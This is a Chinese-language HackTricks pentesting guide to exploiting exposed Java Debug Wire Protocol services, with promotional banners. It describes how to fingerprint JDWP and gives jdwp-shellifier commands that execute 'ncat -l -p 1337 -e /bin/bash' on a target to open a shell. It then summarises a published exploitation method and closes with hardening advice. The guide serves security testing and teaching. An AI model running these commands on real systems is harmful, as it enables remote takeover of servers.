# Pentesting JDWP - Java Debug Wire Protocol {% hint style="success" %} 学习与实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ 学习与实践 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
支持 HackTricks * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! * **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
{% endhint %}
**即时可用的漏洞评估与渗透测试设置**。从任何地方运行完整的渗透测试,提供 20 多种工具和功能,从侦察到报告。我们不替代渗透测试人员 - 我们开发自定义工具、检测和利用模块,以便让他们有更多时间深入挖掘、获取 shell 并享受乐趣。 {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} ## 利用 JDWP 利用依赖于 **协议缺乏身份验证和加密**。它通常在 **8000 端口**上找到,但其他端口也是可能的。初始连接通过向目标端口发送 "JDWP-Handshake" 来建立。如果 JDWP 服务处于活动状态,它会以相同的字符串响应,确认其存在。此握手作为一种指纹识别方法,用于识别网络上的 JDWP 服务。 在进程识别方面,在 Java 进程中搜索字符串 "jdwk" 可以指示一个活动的 JDWP 会话。 首选工具是 [jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier)。您可以使用不同的参数: ```bash ./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data ./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something ./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept ``` 我发现使用 `--break-on 'java.lang.String.indexOf'` 使得利用更加 **稳定**。如果你有机会将后门上传到主机并执行它,而不是执行命令,利用将会更加稳定。 ## 更多细节 **这是 [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/) 的摘要**。请查看以获取更多细节。 1. **JDWP 概述**: - 这是一种基于数据包的网络二进制协议,主要是同步的。 - 缺乏身份验证和加密,使其在暴露于恶意网络时容易受到攻击。 2. **JDWP 握手**: - 使用简单的握手过程来启动通信。调试器(客户端)和被调试程序(服务器)之间交换一个14个字符的ASCII字符串“JDWP-Handshake”。 3. **JDWP 通信**: - 消息具有简单的结构,包含长度、ID、标志和命令集等字段。 - 命令集值范围从 0x40 到 0x80,表示不同的操作和事件。 4. **利用**: - JDWP 允许加载和调用任意类和字节码,带来安全风险。 - 文章详细描述了一个五步的利用过程,包括获取 Java 运行时引用、设置断点和调用方法。 5. **现实生活中的利用**: - 尽管可能有防火墙保护,JDWP 服务在现实场景中仍然可被发现和利用,正如在 ShodanHQ 和 GitHub 上的搜索所示。 - 利用脚本已在各种 JDK 版本上测试,并且是平台无关的,提供可靠的远程代码执行(RCE)。 6. **安全影响**: - 互联网上开放的 JDWP 服务的存在强调了定期进行安全审查、在生产环境中禁用调试功能以及适当的防火墙配置的必要性。 ### **参考文献:** * [[https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)] * [https://github.com/IOActive/jdwp-shellifier](https://github.com/IOActive/jdwp-shellifier) * [http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html](http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html) * http://www.secdev.org/projects/scapy(不再活跃) * [http://www.shodanhq.com/search?q=JDWP-HANDSHAKE](http://www.shodanhq.com/search?q=JDWP-HANDSHAKE) * http://www.hsc-news.com/archives/2013/000109.html (不再活跃) * [http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt](http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt) * https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults * [http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html](http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html) * [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html](http://docs.oracle.com) * [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html](http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html) * [http://nmap.org/nsedoc/scripts/jdwp-exec.html](http://nmap.org/nsedoc/scripts/jdwp-exec.html)
**即时可用的漏洞评估和渗透测试设置**。从任何地方运行完整的渗透测试,提供20多个工具和功能,从侦察到报告。我们不替代渗透测试人员 - 我们开发自定义工具、检测和利用模块,以便让他们有更多时间深入挖掘、获取shell并享受乐趣。 {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% hint style="success" %} 学习和实践 AWS 黑客攻击:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ 学习和实践 GCP 黑客攻击:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
支持 HackTricks * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! * **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
{% endhint %}